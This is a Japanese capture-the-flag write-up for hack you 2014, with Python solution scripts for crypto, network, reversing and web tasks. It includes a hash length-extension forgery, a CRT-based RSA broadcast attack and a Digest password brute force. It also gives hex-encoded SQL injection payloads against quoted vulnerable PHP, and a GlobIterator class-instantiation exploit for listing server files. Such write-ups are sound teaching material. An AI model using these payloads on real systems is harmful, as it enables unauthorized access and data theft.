hack you 2014 Write-up
hack you 2014に参加した。12/20問、3000点、15位。以下、解けた問題の解法。
Crypto 100 Easy one
単純な暗号化のプログラムと、平文暗号分のペアと、暗号分が与えられるので、鍵を逆算して、
P = open("msg001", "rb").read() C = open("msg001.enc", "rb").read() K = "" for i in range(len(P)): K += chr(((ord(C[i])-ord(P[i])-i*i)^(ord(P[i-1]) if i>0 else 0))%256) print K
復号するだけ。
K = map(ord, "VeryLongKeyYouWillNeverGuess") C = map(ord, open("msg002.enc", "rb").read()) P = [] t = 0 for i in range(len(C)): P += [C[i]-(K[i%len(K)]^t)-i*i&0xff] t = P[-1] open("msg002", "wb").write("".join(map(chr, P)))
答え
CTF{6d5eba48508efb13dc87220879306619}
Crypto 200 Hashme
名前を入力すると、login=name&role=anonymousに署名を付けて、KEYとxorした証明書が渡される。その証明を入力するとanonymousとしてログインできる。administratorになれという問題。
署名以外の部分のxor前の値は計算できるので、実際に帰ってきた値とのxorを取れば、KEYが求められる。
KEY = '28c1150dac6704583d6c1125a72d3c87241e7f5497e9b80c78f4ce2b08dcab2b0df20be0abde0b17512a935bc765607cf5e5'.decode('hex')
署名はLength extension attackする。ハッシュ関数Hによっては、y=H(secret+x)について、xとyが既知であるとき、secretの逆算はできなくても、H(secret+x+z)が求められる。要は、ハッシュ関数が入力を先頭から処理していくので、yからsecret+xの処理が終わった状態を求め、その状態からzの計算をすれば良い。
この問題では、SALT+"login=a&role=anonymous"のハッシュ値が分かるので、それを使ってSALT+"login=a&role=anonymous&role=administrator"のハッシュ値を求める。
#!/usr/bin/python from math import sin KEY = '28c1150dac6704583d6c1125a72d3c87241e7f5497e9b80c78f4ce2b08dcab2b0df20be0abde0b17512a935bc765607cf5e5'.decode('hex') def xor(a, b): return ''.join(map(lambda x : chr(ord(x[0]) ^ ord(x[1])), zip(a, b * 100))) #def hashme(s): def hashme(s, A, B, C, D, m): #my secure hash function def F(X,Y,Z): return ((~X & Z) | (~X & Z)) & 0xFFFFFFFF def G(X,Y,Z): return ((X & Z) | (~Z & Y)) & 0xFFFFFFFF def H(X,Y,Z): return (X ^ Y ^ Y) & 0xFFFFFFFF def I(X,Y,Z): return (Y ^ (~Z | X)) & 0xFFFFFFFF def ROL(X,Y): return (X << Y | X >> (32 - Y)) & 0xFFFFFFFF #A = 0x67452301 #B = 0xEFCDAB89 #C = 0x98BADCFE #D = 0x10325476 X = [int(0xFFFFFFFF * sin(i)) & 0xFFFFFFFF for i in xrange(256)] for i,ch in enumerate(s): i += m k, l = ord(ch), i & 0x1f A = (B + ROL(A + F(B,C,D) + X[k], l)) & 0xFFFFFFFF B = (C + ROL(B + G(C,D,A) + X[k], l)) & 0xFFFFFFFF C = (D + ROL(C + H(D,A,B) + X[k], l)) & 0xFFFFFFFF D = (A + ROL(D + I(A,B,C) + X[k], l)) & 0xFFFFFFFF return ''.join(map(lambda x : hex(x)[2:].strip('L').rjust(8, '0'), [B, A, D, C])) """ Your login: a [+] OK Your auth certificate: RK5yZMJaZX5PA31AmkxS6EpnEjvimts6QZetHTjtkk80yzLYnr1pJ2gToW/wB1UaxNAR8HM8 """ for keylen in range(33): T = "RK5yZMJaZX5PA31AmkxS6EpnEjvimts6QZetHTjtkk80yzLYnr1pJ2gToW/wB1UaxNAR8HM8" T = xor(T.decode("base64"), KEY) m = len(T)-8*4 B, A, D, C = [int(T[m+i*8:m+i*8+8],16) for i in range(4)] admin = "&role=administrator" print keylen, xor(T[:m]+admin+hashme(admin, A, B, C, D, m+keylen), KEY).encode("base64")
SALTの長さは色々試してみるしかない。正解は、20文字だった。
>nc hackyou2014tasks.ctf.su 7777 ====================== [0] Register [1] Login ====================== 1 Provide your certificate: RK5yZMJaZX5PA31AmkxS6EpnEjvimp5+F5irFmm4xkJjm3iU2b9/eCMdpjjwVlZLwYFLpXQ/zVI2a1kJcEGeHQ/hHCsabPHZig== [+] Welcome, a! CTF{40712b12d4be002e20f51424309a068c}
答え
CTF{40712b12d4be002e20f51424309a068c}
Crypto 300 Matrix
encryptor.pyとflag.wmv.outが与えられてflag.wmvを復号する問題。encryptor.pyは、入力を16バイトごとに4x4の行列Xにして、鍵行列Kとの積Y=XKを文字列に直して出力するプログラム。wmvの先頭16バイトは
30 26 B2 75 8E 66 CF 11 A6 D9 00 AA 00 62 CE 6C
らしいので、最初の16バイトのXとYが分かる。K=X-1Yと求められるので、あとはK-1を掛ければ復号できる。
# coding: utf-8 from struct import pack, unpack def Str2matrix(s): #convert string to 4x4 matrix return [map(lambda x : ord(x), list(s[i:i+4])) for i in xrange(0, len(s), 4)] def Matrix2str(m): #convert matrix to string return ''.join(map(lambda x : ''.join(map(lambda y : pack('!H', y), x)), m)) def Multiply(A,B): #multiply two 4x4 matrix C = [[0 for i in xrange(4)] for j in xrange(4)] for i in xrange(4): for j in xrange(4): for k in xrange(4): C[i][j] += A[i][k] * B[k][j] return C # 逆行列 def invmat(M): n = len(M) T = [[0.]*(2*n) for i in range(n)] for i in range(n): for j in range(n): T[i][j] = float(M[i][j]) T[i][i+n] = 1. for i in range(n): p = T[i][i] if p==0.: raise "Error" for j in range(2*n): T[i][j] /= p for j in range(n): if j!=i: p = T[j][i] for k in range(2*n): T[j][k] -= T[i][k]*p return [T[i][n:] for i in range(n)] f = open("flag.wmv.out", "rb") L = unpack('!I', f.read(4))[0] print "Len:", L C = [unpack('!H', f.read(2))[0] for i in range((L+15)/16*16)] header = "3026B2758E66CF11A6D900AA0062CE6C".decode("hex") key = Multiply(invmat(Str2matrix(header)), [C[i:i+4] for i in range(0,16,4)]) print "Key:", key invkey = invmat(key) print "InvKey:", invkey P = "" for i in range(0,L,16): T = Multiply([C[j:j+4] for j in range(i,i+16,4)], invkey) P += "".join("".join(map(lambda x: chr(int(x+1e-10)), T[j])) for j in range(4)) open("flag.wmv", "wb").write(P[:L])
答え
CTF{b699a72e2692d16f65ec9626055aa740}
Crypto 400 CRYPTONET
Pythonスクリプトとpcapファイルが問題。
Pythonスクリプトは、整数eとnを受信し、message.txtを整数に直したものをPとして、C=Pe mod nを送信している。
pcapファイルはこの通信をキャプチャしたもので、送信が19回行われている。nは毎回違うけど、常にe=17。
1回の通信だけから復号しようとすると離散対数問題を解くことになるので無理だが、Pとeが固定の通信が複数回だと話は別。中国の剰余定理から、X mod n0=C0, X mod n1=C1, …, X mod n18=C18を満たすようなXが、C0×C1×…×C18を法として一意に存在し、求められる。C0×C1×…×C18はPeよりも大きいので、X=Peである。あとは、二分探索でPを求めれば良い。
# coding: utf-8 from struct import * import sys sys.setrecursionlimit(1000000) # 拡張ユークリッドの互除法 # mx+ny = gcd(m,n)となる(x, y, gcd(m,n))を返す def exgcd(m, n): if n>0: y,x,d = exgcd(n, m%n) return x, y-m/n*x, d else: return 1, 0, m # 中国の剰余定理 def chinese(A, M): n = len(A) r = 0 P = reduce(lambda x,y: x*y, M, 1) for i in range(n): x,y,d = exgcd(M[i], P/M[i]) r += y*(P/M[i])*A[i] return r%P N = 19 e,n,c = [],[],[] for i in range(N): f = open("stream%s"%i, "rb") def read(): l = unpack("!H", f.read(2))[0] return int(f.read(l).decode("zlib")) e += [read()] n += [read()] C += [read()] Pe = chinese(C, n) e = e[0] b = 2**1000 ans = 0 while b: if (ans+b)**e <= Pe: ans += b b /= 2 open("decrypt", "wb").write(hex(ans)[2:-1].decode("hex"))
答え
CTF{336b2196a2932c399c0340bc41cd362d}
Network 100 PCAP
Digest認証のキャプチャが問題ファイル。ブルートフォースでパスワードを求める問題だった。この辞書を使ったら解けた。
import hashlib def md5(s): return hashlib.md5(s).hexdigest() for p in open("passwords.txt"): p = p[:-1] A1 = "admin:Private Area:"+p A2 = "GET:/auth.php" res = md5(md5(A1)+":1389094144:00000001:347278e387a2f030:auth:"+md5(A2)) if res=="f86930f9e0466aeced34036bc2f7a346": print "Found!", p
パスワードは「cowboy123」。
答え
CTF{6ee8014f5cc43767d03d97d6d73d9ed5}
PPC 400 Broken Marquee
LEDがチカチカしている40MBのアニメーションGIFが問題。ほとんどのLEDが壊れているらしい。誰も解けなかったので、途中でLEDの点滅の様子がテキストファイルで配られた。
壊れていないLEDは点滅が周期的。周期は45, 116, 140, 195, 223, 330。文字列が流れていくティッカーなので、各行に1個でも壊れていないLEDがあれば、文字列を復元できる。どういう壊れ方をしたのか分からないけど、複数の文字列が混ざっているので、各周期ごとに復元すれば良い。
意味がある絵なのは、45, 223, 330だけっぽい。
45 ****** *** ****** *** *** ****** *** ********* *** ****** ********* 223 * * **** * * * ** ** * * * * ** *** * ** ***** * ** **** ** * * * * * * * ** * * ** * * * ** * * * * * * ** ***** **** ** **** * ** ** **** ** ** ** ** * * ***** ** ** * ** * * ** * * * *** **** * ** * ** *** *** * * * **** * ** ** *** * ** * ***** ** **** ***** * * * *** * * * ** ****** * ****** * ** ***** *** * * *** * * ** * ** * * * ******** ** * * * * * * *** ** * ** * *** * * * * ** * * * * * * ** **** * ** * ** * * ** ** ** **** ** * * * * * ** * **** * *** ** ** ** *** *** * ** ***** ** * **** * * **** ** * ** ** * * * * *** ** **** * * * * ** ***** ***** * * ***** ***** ** 330 ** ** **** * ** ** ** ********* * * ** ** ** * * **** ** * ** * * * ** **** * **** ** * * ** * * ** * ** * * * * * * * ** * * * * * * * * * * * * ** * * * * * * ** * * * * * * ** * * * * * * * * ** * * * * * * * * *** * * * * ** * * *** ** *** * * * * *** * * * *** *** * * * * ** * * * * *** * ** * *** *** * * * ** *** *** * * *** *** ** ** * * * *** *** **** * * * ** *** * * **** * ** * * * * * * * * * * * * * ** * * * * * * **** *** * ** * * ** * * * * * ** * * * * * * * * ** * * * * * * * * * * * * * ** ** * * * * * * **** **** * * * * ** * * * * * * ** * * * * * * * * * * * * * * * * * * ** * ** * * * ** * * * * * ** * ** * * ** * * * * * ** * ** * * * * * * * * * * * * * * * ** * * * * * * * ** * **** * * *** ** ** * * ** *** **** **** ** *** *** * ** * * * * **** * * *** * ** * * * *** *** * * ** **** * *** * * *** ** *** *** *** ** ** *** * * * * **** * * ** ***
答え
CTF{b2231b76da24fe06a7e1a520eab31bc8}
Reverse 100 NotEasyTask
.NETの実行可能ファイル。
127.0.0.1:31337に接続して何かしているようなので、待ち受けてみるとフラグが送られてくる。
>nc -l -p 31337 (ここでreverse100.exeを実行) CTF{7eb67b0bb4427e0b43b40b6042670b55}
答え
CTF{7eb67b0bb4427e0b43b40b6042670b55}
Reverse 200 Newbie calculations
This file will calculate a flag for you, but you have to wait
らしい。ImageBase+0x1000の関数を読んでみると、
int *f(int *p, int n) { *p += n; return p; }
というだけの関数なので、
MOV ECX, DWORD PTR [ESP+8] MOV EAX, DWORD PTR [ESP+4] MOV EDX, DWORD PTR [EAX] ADD EDX, ECX MOV DWORD PTR [EAX], EDX RETN
に書き換えて、数時間待ったら答えが表示された。もっと高速化はできそう。
答え
CTF{daf8f4d816261a41a115052a1bc21ade}
Reverse 300 Enchanter
64bit ELF、ファイルを*.enchantedに変換するプログラムと、item.enchantedが問題。*.enchantedの先頭に頻度表があるので、ハフマン符号か算術符号と予想。ハフマン符号なら、元の1バイトが一意に数ビットに変換されるので、item.enchantedと出現頻度が同じファイルを作って、
from struct import * f = open("item.enchanted", "rb") d = "" for i in range(256): n = unpack(">I", "\x00"+f.read(3))[0] d += chr(i)*n open("aaa", "wb").write(d)
enchanterでエンチャントする。
$ ./enchanter aaa Now your item is enchanted. He received new abilities, but lost the original.
各バイトがどういうビットに変換されたかを調べる。
from struct import * f = open("aaa.enchanted", "rb") f.seek(0x300) d = "".join(bin(0x100+ord(x))[3:] for x in f.read(1000000)) # d = "1101011010110101..." d += "x"*1000 f.seek(0) p = 0 for i in range(256): n = unpack(">I", "\x00"+f.read(3))[0] for l in range(32,0,-1): if d[p:p+l*n]==d[p:p+l]*n: break print d[p:p+l] p += n*l
11010 0000011 01100011 :
あとは、item.enchantedを復号すれば良い。
from struct import * T = ["11010", "0000011", "01100011", "10000110", "10111011", "01001001", "10010101", "111100010", "00011001", "00101100", "01000001", "00001000", "00011010", "11110010", "00000000", "111110010", "110001011", "00011011", "11011111", "111110011", "01010101", "100001110", "00101101", "01100100", "11011010", "110110110", "01011101", "0010010", "111100011", "01010110", "00011100", "111100110", "000110001", "111110100", "00001001", "10011110", "0000101", "10010110", "110001010", "01011110", "00001100", "01010111", "00110110", "01000010", "110110111", "00011101", "01001010", "111100111", "11001111", "10111100", "111101011", "10001000", "01111010", "10110000", "0000001", "10011111", "00101110", "01001011", "10111101", "10110001", "0001111", "01110100", "111101000", "01100101", "10100000", "00001101", "00100000", "11100110", "111101001", "00010011", "10001110", "111011010", "10111110", "11011100", "01100110", "10001111", "111101010", "01000011", "01110101", "11101110", "11111111", "00010110", "10010111", "01100111", "0110000", "11101010", "11100100", "01111011", "01001100", "10100001", "01001101", "10101010", "10011000", "00110111", "11000110", "111101110", "01011000", "111000000", "01101000", "10010000", "00000001", "111110101", "01001110", "01101001", "111101111", "00101111", "1000010", "00110000", "111001011", "1010001", "01101010", "10100100", "101100100", "00001110", "10011001", "10001001", "00100110", "00100111", "11110000", "10001010", "10111111", "0001000", "10010001", "10101011", "01111100", "01101011", "00100001", "00001111", "10111010", "010110010", "111000001", "010110011", "01001111", "00010111", "00010010", "111000010", "00111000", "10001011", "01010000", "00101000", "11101011", "10110011", "01011010", "01011111", "00111001", "10110100", "10010010", "10011010", "00111010", "01000100", "11000000", "01010001", "10010011", "00100010", "01000101", "00111011", "01101100", "11011000", "11000001", "111000011", "10101100", "111011011", "10011011", "100001111", "11000010", "01111101", "11000111", "11110110", "11111011", "10110101", "1011100", "10110110", "11100010", "11011101", "10100101", "00111100", "00000100", "10100110", "11011110", "11100111", "01110110", "1100101", "00110001", "10101101", "01101101", "01111110", "00110010", "11111100", "01000110", "01101110", "01010010", "00000101", "11011001", "000110000", "111110000", "01010011", "00101001", "01111111", "10100111", "11101100", "00110011", "01100010", "111011110", "10011100", "01110111", "10000000", "11001000", "01101111", "111111011", "00101010", "01111000", "10110111", "111111100", "1100110", "11100011", "01110000", "101100101", "111011111", "1110100", "11000011", "10001100", "10101110", "11001001", "01111001", "00111101", "10101000", "10000001", "01000111", "10010100", "00111110", "10011101", "00111111", "111001010", "01011011", "01011100", "11000100", "01110001", "0001010", "01001000", "10001101", "00110100", "01110010", "10000010", "01110011", "111111010", "10000011", "11001110", "111110001", "01010100", "10101111", "10101001", "00101011", "01000000", "00110101", "00100011", "111111101"] f = open("item.enchanted", "rb") n = sum(unpack(">I", "\x00"+f.read(3))[0] for i in range(0x100)) d = "".join(bin(0x100+ord(x))[3:] for x in f.read(1000000)) p = 0 dec = "" while len(dec)<n: for i in range(256): if d[p:p+len(T[i])]==T[i]: break dec += chr(i) p += len(T[i]) open("item", "wb").write(dec)
itemは画像。
これを打ち込んで実行するとフラグが手に入る。
答え
CTF{a369d17d5c9d65ca1af379f222297fbb}
Reverse 400 Classic
チェッカーを通るシリアルナンバーを作る問題。内部でマシン語っぽいものを動かしてシリアル番号をチェックしている。デコーダー。
from struct import pack, unpack f = open("reverse400", "rb") f.seek(0xb20) C = [unpack("<I", f.read(4))[0] for i in range(0x201fc/4)] def decode(C): p = 0 while p<len(C): l = 2 t = C[p]>>4 x = None if t==1: x = "0x%x"%C[p+2]; l += 1 if t==2: x = "M[0x%x]"%C[p+2]; l += 1 if t==3: x = "*M[0x%x]"%C[p+2]; l += 1 t = C[p]&0xf y = None if t==1: y = "0x%x"%C[p+3]; l += 1 if t==2: y = "M[0x%x]"%C[p+3]; l += 1 if t==3: y = "*M[0x%x]"%C[p+3]; l += 1 print "%04x:"%p, op = C[p+1] if False: pass elif op==0x01: print "%s = %s" % (x,y) elif op==0x02: print "%s += %s" % (x,y) elif op==0x03: print "ret %s" % x elif op==0x04: print "%s++" % x elif op==0x05: print "%s--" % x elif op==0x06: print "f = %s==%s" % (x,y) elif op==0x07: print "if(f==0) jmp %s" % (x) elif op==0x08: print "if(f==1) jmp %s" % (x) elif op==0x09: print "%s = *%s" % (x,y) elif op==0x0a: print "*%s = %s" % (x,y) elif op==0x0b: print "%s ^= %s" % (x,y) elif op==0x0c: print "%s -= %s" % (x,y) elif op==0x0d: print "%s = malloc(%s*4)" % (x,y) elif op==0x0e: print "%s *= %s" % (x,y) elif op==0x10: print "%s /= %s" % (x,y) elif op==0x11: print "*%s = (byte)%s" % (x,y) elif op==0x12: print "%s >>= %s" % (x,y) elif op==0x13: print "%s <<= %s" % (x,y) elif op==0x14: print "%s &= %s" % (x,y) elif op==0x16: print "jmp %s" % x p += l decode(C)
デコードすると、
0000: M[0x1] = このプログラム自身の開始アドレス 0004: *M[0x1] = 0x21 0008: M[0x1] += 0x4 000c: *M[0x1] = 0x1 0010: M[0x1] += 0x4 0014: *M[0x1] = 0x1 0018: M[0x1] += 0x4 001c: *M[0x1] = 0x0
という自己書き換えコードが出てくる。書き換え後をデコードすると、
0000: M[0x1] = このプログラム自身の開始アドレス 0004: *M[0x1] = 0x21 0008: M[0x1] += 0x4 000c: *M[0x1] = 0x1 0010: M[0x1] += 0x4 0014: *M[0x1] = 0x1 0018: M[0x1] += 0x4 001c: *M[0x1] = 0x0
もう一度自己書き換えコードが出てくる。書き換え後をデコードすると、
0000: M[0x1] = シリアルナンバー 0004: M[0x9] = 0x0 0008: M[0x2] = *M[0x1] 000c: M[0x9]++ 000f: M[0x1]++ 0012: f = M[0x2]==0x0 0016: if(f==0) jmp 0x8 0019: M[0x1] -= M[0x9] 001d: M[0x9]-- 0020: M[0x3] = M[0x9] 0024: M[0x3] *= 0x2 0028: M[0x3]++ 002b: M[0x3] /= 0x4 002f: M[0x2] = malloc(M[0x3]*4) 0033: M[0x3] = malloc(0x5*4) 0037: *M[0x3] = 0x4021263f 003b: M[0x3] += 0x4 003f: *M[0x3] = 0x5f7e232a 0043: M[0x3] += 0x4 0047: *M[0x3] = 0x252b243c 004b: M[0x3] += 0x4 004f: *M[0x3] = 0x3e5e2928 0053: M[0x3] += 0x4 0057: *M[0x3] = 0x0 005b: M[0x3] -= 0x10 005f: M[0x7] ^= M[0x7] 0063: M[0x6] = M[0x1] 0067: M[0x6] += M[0x7] 006b: M[0x5] = *M[0x6] 006f: M[0x6] = M[0x5] 0073: M[0x6] >>= 0x4 0077: M[0x4] = M[0x3] 007b: M[0x4] += M[0x6] 007f: M[0x6] = *M[0x4] 0083: M[0x8] = M[0x7] 0087: M[0x8] <<= 0x1 008b: M[0x8]++ 008e: M[0x8] += M[0x2] 0092: *M[0x8] = (byte)M[0x6] 0096: M[0x6] = M[0x5] 009a: M[0x6] &= 0xf 009e: M[0x4] = M[0x3] 00a2: M[0x4] += M[0x6] 00a6: M[0x6] = *M[0x4] 00aa: M[0x8]-- 00ad: *M[0x8] = (byte)M[0x6] 00b1: M[0x7]++ 00b4: f = M[0x7]==M[0x9] 00b8: if(f==0) jmp 0x63 00bb: M[0x6] = M[0x9] 00bf: M[0x6] <<= 0x1 00c3: M[0x6] += M[0x2] 00c7: *M[0x6] = (byte)0x0 00cb: M[0x1] = malloc(0x13*4) 00cf: *M[0x1] = 0x301d3977 00d3: M[0x1] += 0x4 00d7: *M[0x1] = 0x4c123949 00db: M[0x1] += 0x4 00df: *M[0x1] = 0x53136d77 00e3: M[0x1] += 0x4 00e7: *M[0x1] = 0x6d1d6d49 00eb: M[0x1] += 0x4 00ef: *M[0x1] = 0x53135313 00f3: M[0x1] += 0x4 00f7: *M[0x1] = 0x6d146d1d 00fb: M[0x1] += 0x4 00ff: *M[0x1] = 0x6d14530b 0103: M[0x1] += 0x4 0107: *M[0x1] = 0x53086d16 010b: M[0x1] += 0x4 010f: *M[0x1] = 0x5316530b 0113: M[0x1] += 0x4 0117: *M[0x1] = 0x53496d77 011b: M[0x1] += 0x4 011f: *M[0x1] = 0x6d775349 0123: M[0x1] += 0x4 0127: *M[0x1] = 0x6d77531d 012b: M[0x1] += 0x4 012f: *M[0x1] = 0x531d6d14 0133: M[0x1] += 0x4 0137: *M[0x1] = 0x53775308 013b: M[0x1] += 0x4 013f: *M[0x1] = 0x6d495313 0143: M[0x1] += 0x4 0147: *M[0x1] = 0x53135311 014b: M[0x1] += 0x4 014f: *M[0x1] = 0x531d6d77 0153: M[0x1] += 0x4 0157: *M[0x1] = 0x6d776d49 015b: M[0x1] += 0x4 015f: *M[0x1] = 0x13374c1e 0163: M[0x1] -= 0x48 0167: M[0x6] ^= M[0x6] 016b: *M[0x1] ^= 0x13371337 016f: M[0x1] += 0x4 0173: M[0x6]++ 0176: f = M[0x6]==0x13 017a: if(f==0) jmp 0x16b 017d: M[0x1] -= 0x4c 0181: M[0x9] ^= M[0x9] 0185: M[0x3] = *M[0x1] 0189: M[0x9]++ 018c: M[0x1]++ 018f: f = M[0x3]==0x0 0193: if(f==0) jmp 0x185 0196: M[0x9]-- 0199: M[0x8] ^= M[0x8] 019d: M[0x3] = *M[0x2] 01a1: M[0x8]++ 01a4: M[0x2]++ 01a7: f = M[0x3]==0x0 01ab: if(f==0) jmp 0x19d 01ae: M[0x8]-- 01b1: M[0x3] ^= M[0x3] 01b5: f = M[0x8]==M[0x9] 01b9: if(f==0) jmp 0x1f3 01bc: if(f==1) jmp 0x1bf 01bf: M[0x1] -= M[0x9] 01c3: M[0x1]-- 01c6: M[0x2] -= M[0x8] 01ca: M[0x2]-- 01cd: M[0x5] = 0x0 01d1: M[0x3] = *M[0x1] 01d5: M[0x1]++ 01d8: M[0x4] = *M[0x2] 01dc: M[0x2]++ 01df: f = M[0x3]==M[0x4] 01e3: if(f==0) jmp 0x1f3 01e6: M[0x5]++ 01e9: f = M[0x5]==M[0x9] 01ed: if(f==0) jmp 0x1d1 01f0: if(f==1) jmp 0x1fa 01f3: M[0x7] = 0x0 01f7: ret M[0x7] 01fa: M[0x7] = 0x1 01fe: ret M[0x7]
シリアルナンバーの各バイトを上位4ビットと下位4ビットに分けて、記号に変換し、その記号が0x301d3977^0x13371337, 0x4c123949^0x13371337, …と一致するかを調べている。下記のスクリプトでシリアルナンバーが求められる。
T = r"?&!@*#~_<$+%()^>" A = [0x301d3977, 0x4c123949, 0x53136d77, 0x6d1d6d49, 0x53135313, 0x6d146d1d, 0x6d14530b, 0x53086d16, 0x5316530b, 0x53496d77, 0x6d775349, 0x6d77531d, 0x531d6d14, 0x53775308, 0x6d495313, 0x53135311, 0x531d6d77, 0x6d776d49, 0x13374c1e] B = "" for a in A: t = ("%08x"%(a^0x13371337)).decode("hex") B += t[3]+t[2]+t[1]+t[0] x = "" for i in range(0,len(B)-2,2): x += chr(T.index(B[i])+T.index(B[i+1])*16) print x
$ ./reverse400 Welcome! Enter your serial number: CTF{c9fd99de8eb082c66c4ce4039f19c4fc} Not bad! You did it! Your flag is a serial number!
答え
CTF{c9fd99de8eb082c66c4ce4039f19c4fc}
Web 100 Voting
http://hackyou2014tasks.ctf.su:10080/にアクセスすると、投票システムが表示される。
ソースコード。
<?php include 'db.php'; session_start(); if (!isset($_SESSION['login'])) { $_SESSION['login'] = 'guest'.mt_rand(1e5, 1e6); } $login = $_SESSION['login']; if (isset($_POST['submit'])) { if (!isset($_POST['id'], $_POST['vote']) || !is_numeric($_POST['id'])) die('Hacking attempt!'); $id = $_POST['id']; $vote = (int)$_POST['vote']; if ($vote > 5 || $vote < 1) $vote = 1; $q = mysql_query("INSERT INTO vote VALUES ({$id}, {$vote}, '{$login}')"); $q = mysql_query("SELECT id FROM vote WHERE user = '{$login}' GROUP BY id"); echo '<p><b>Thank you!</b> Results:</p>'; echo '<table border="1">'; echo '<tr><th>Logo</th><th>Total votes</th><th>Average</th></tr>'; while ($r = mysql_fetch_array($q)) { $arr = mysql_fetch_array(mysql_query("SELECT title FROM picture WHERE id = ".$r['id'])); echo '<tr><td>'.$arr[0].'</td>'; $arr = mysql_fetch_array(mysql_query("SELECT COUNT(value), AVG(value) FROM vote WHERE id = ".$r['id'])); echo '<td>'.$arr[0].'</td><td>'.round($arr[1],2).'</td></tr>'; } echo '</table>'; echo '<br><a href="index.php">Back</a><br>'; exit; } ?> <html> <head> <title>Picture Gallery</title> </head> <body> <p>Welcome, <?php echo $login; ?></p> <p>Help us to choose the best logo!</p> <form action="index.php" method="POST"> <table border="1" cellspacing="5"> <tr> <?php $q = mysql_query('SELECT * FROM picture'); while ($r = mysql_fetch_array($q)) { echo '<td><img src="./images/'.$r['image'].'"><div align="center">'.$r['title'].'<br><input type="radio" name="id" value="'.$r['id'].'"></div></td>'; } ?> </tr> </table> <p>Your vote: <select name="vote"> <option value="1">1</option> <option value="2">2</option> <option value="3">3</option> <option value="4">4</option> <option value="5">5</option> </select></p> <input type="submit" name="submit" value="Submit"> </form> </body> </html> <!-- TODO: remove index.phps -->
0x6861636b796f75はPHPのis_numeric関数では真となるが、SQLでは文字列hackyouとなる。
$arr = mysql_fetch_array(mysql_query("SELECT title FROM picture WHERE id = ".$r['id']));
でSQLインジェクションができる。
99 union select group_concat(table_name) from information_schema.tables where table_name like 'f%'
をhexエンコードして、$_POST['id']に送ると、
FILES,func,file_instances,file_summary_by_event_name,file_summary_by_instance,Flag
とFから始まるテーブル名が表示される(全てのテーブルを表示しようとしたら長すぎて切り捨てられた)。
99 union select group_concat(column_name) from information_schema.columns where table_name='Flag'
で、列名(flag)が分かる。あとは、下記のSQLでフラグが取得できる。
99 union select flag from Flag
答え
CTF{820178c33c03aaa7cfe644c691679cf8}
Web 400 PHPwning
<?php include 'config.php'; include 'classes.php'; $action = (isset($_REQUEST['action'])) ? $_REQUEST['action'] : 'View'; $param = (isset($_REQUEST['param'])) ? $_REQUEST['param'] : 'index'; $page = new $action($param); echo $page; ?>
任意のクラスを任意の文字列を引数として作成できて、文字列に変換した結果が取得できる。GlobIteratorを使った。マッチする最初の1個のファイルが取得できる。
http://hackyou2014tasks.ctf.su:40080/index.php?action=GlobIterator¶m=/*にアクセスすると、ルートに
CTF{42a38432d46b9054004a7a87fd3140c7}
というファイルがあることが分かる。今回はたまたま辞書順最初のファイルだったけど、そうでなかったなら、
http://hackyou2014tasks.ctf.su:40080/index.php?action=GlobIterator¶m=/[^C]*
のように探せる。ファイルを読み込もうと思っても、SplFileObjectでは1行しか読み込めなかったけど、php://filterを使う技があるらしい。覚えておこう。
答え。
CTF{42a38432d46b9054004a7a87fd3140c7}